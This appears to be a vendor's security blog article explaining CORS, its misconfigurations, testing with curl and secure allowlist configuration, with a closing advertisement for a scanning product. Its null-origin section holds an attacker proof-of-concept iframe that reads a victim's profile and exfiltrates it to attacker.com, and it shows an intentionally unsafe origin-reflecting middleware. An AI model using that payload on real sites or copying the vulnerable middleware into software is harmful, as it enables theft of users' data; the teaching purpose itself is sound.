Key Takeaways
- CORS is a browser security mechanism, not a server-side access control. It prevents unauthorized cross-origin requests from web pages, but only in browsers.
- The most dangerous misconfiguration is reflecting the Origin header into Access-Control-Allow-Origin with credentials enabled — this effectively disables same-origin policy.
- Wildcard (*) Access-Control-Allow-Origin cannot be used with credentials, but many developers work around this with origin reflection, creating a worse vulnerability.
- Testing for CORS issues is straightforward: send requests with malicious Origin headers and check if they are reflected in the response.
- A secure CORS policy uses an explicit allowlist of trusted origins and never reflects arbitrary values from request headers.
What Is CORS?
Cross-Origin Resource Sharing (CORS) is a browser mechanism that allows web applications running at one origin to access resources from a different origin. By default, browsers enforce the Same-Origin Policy (SOP), which prevents JavaScript on one origin from reading responses from another origin. CORS relaxes this restriction in a controlled way by allowing servers to specify which origins are permitted to access their resources.
CORS is implemented through HTTP headers. When a web page at https://app.example.com makes a request to https://api.example.com, the browser sends an Origin header with the request. The server responds with Access-Control-Allow-Origin to indicate whether the requesting origin is permitted. If the origins do not match, the browser blocks the response from reaching the JavaScript code.
How CORS Works
CORS has two request modes: simple requests and preflight requests. Simple requests (GET, HEAD, POST with standard content types) are sent directly with the Origin header. The browser checks the response headers and either allows or blocks access to the response data.
For requests with custom headers, non-standard content types, or methods like PUT and DELETE, the browser first sends a preflight request — an OPTIONS request asking the server what is allowed. The server responds with headers indicating the permitted methods, headers, and origins. Only if the preflight response authorizes the actual request does the browser proceed.
# Preflight request
OPTIONS /api/data HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Content-Type, Authorization
# Preflight response
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 86400Common Misconfigurations
Wildcard Origins
Setting Access-Control-Allow-Origin: * allows any origin to read the response. While this is appropriate for truly public resources (public APIs with no authentication, CDN assets), it becomes dangerous when combined with sensitive data. The browser prevents * from being used withAccess-Control-Allow-Credentials: true, but developers often work around this restriction by dynamically reflecting the Origin header instead — which is far more dangerous.
Reflected Origins
The most critical CORS misconfiguration occurs when the server reads the Origin header from the request and reflects it directly into the Access-Control-Allow-Origin response header without validation. Combined with Access-Control-Allow-Credentials: true, this effectively disables the Same-Origin Policy entirely. Any malicious website can make authenticated cross-origin requests and read the responses.
// DANGEROUS: Reflecting origin without validation
app.use((req, res, next) => {
res.setHeader('Access-Control-Allow-Origin', req.headers.origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
next();
});
// SAFE: Explicit allowlist
const ALLOWED_ORIGINS = [
'https://app.example.com',
'https://admin.example.com'
];
app.use((req, res, next) => {
const origin = req.headers.origin;
if (ALLOWED_ORIGINS.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
next();
});Origin reflection is equivalent to no CORS policy
The Null Origin Trap
Some applications whitelist the null origin, believing it to be a safe value. In reality, the null origin can be triggered by sandboxed iframes, local file access, and certain redirect flows. An attacker can craft a page with a sandboxed iframe that sends requests with Origin: null, bypassing the CORS policy if null is in the allowlist.
<!-- Attacker's page: Forces null origin via sandboxed iframe -->
<iframe sandbox="allow-scripts allow-forms"
srcdoc="<script>
fetch('https://vulnerable-api.com/user/profile', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
// Exfiltrate user data
new Image().src = 'https://attacker.com/steal?data='
+ btoa(JSON.stringify(data));
});
</script>">
</iframe>Real Attack Scenarios
CORS misconfigurations enable several attack types:
- Data theft — An attacker's website makes authenticated API calls and reads the response. User profiles, financial data, private messages, and API keys can all be exfiltrated silently.
- Account takeover — If the API exposes endpoints that return session tokens, API keys, or password reset links, the attacker can use these to take over accounts.
- Internal network scanning — If an internal application has a CORS misconfiguration, an attacker on the same network can use a browser as a proxy to access internal APIs that should not be reachable from the internet.
- State-changing operations — When combined with
Access-Control-Allow-Methodsthat include PUT, DELETE, and PATCH, the attacker can modify data, not just read it.
Testing for CORS Issues
Testing for CORS misconfigurations is straightforward and should be part of every security assessment:
# Test 1: Check if arbitrary origins are reflected
curl -s -I -H "Origin: https://evil.com" https://target.com/api/user | \
grep -i "access-control"
# If you see: Access-Control-Allow-Origin: https://evil.com
# The application is vulnerable to origin reflection
# Test 2: Check if null origin is allowed
curl -s -I -H "Origin: null" https://target.com/api/user | \
grep -i "access-control"
# Test 3: Check if credentials are enabled
# Look for: Access-Control-Allow-Credentials: true
# Combined with reflected origin = critical vulnerabilityAutomated tools like ShieldGraph, Burp Suite, and OWASP ZAP include CORS misconfiguration checks in their standard scan profiles. However, manual testing is valuable for understanding the application's specific CORS behavior and identifying edge cases that automated tools may miss.
Secure Configuration Guide
Follow these principles for a secure CORS implementation:
- Use an explicit allowlist — Define the specific origins that are permitted to access your resources. Never reflect the Origin header without validation.
- Validate origins strictly — Use exact string matching, not substring or regex matching with anchoring issues.
https://example.com.evil.comshould not match an allowlist entry forexample.com. - Minimize exposed methods and headers — Only allow the HTTP methods and headers that your frontend actually needs.
- Set appropriate Max-Age — Cache preflight responses to reduce OPTIONS request overhead, but not so long that policy changes are delayed.
- Never allow null origin — Remove
nullfrom any origin allowlist. - Use Vary: Origin — When your CORS response varies by origin, include
Vary: Originto ensure proxies and CDNs do not serve cached responses with the wrong origin header. - Consider removing CORS entirely — If your API is only accessed from the same origin, do not enable CORS at all. The browser's Same-Origin Policy provides the best protection when no cross-origin access is needed.
Scan for CORS misconfigurations
Scan Your Applications for These Vulnerabilities
ShieldGraph continuously scans your web applications, APIs, and databases to detect these vulnerabilities before attackers do. Start your free scan today.
Start Free Scan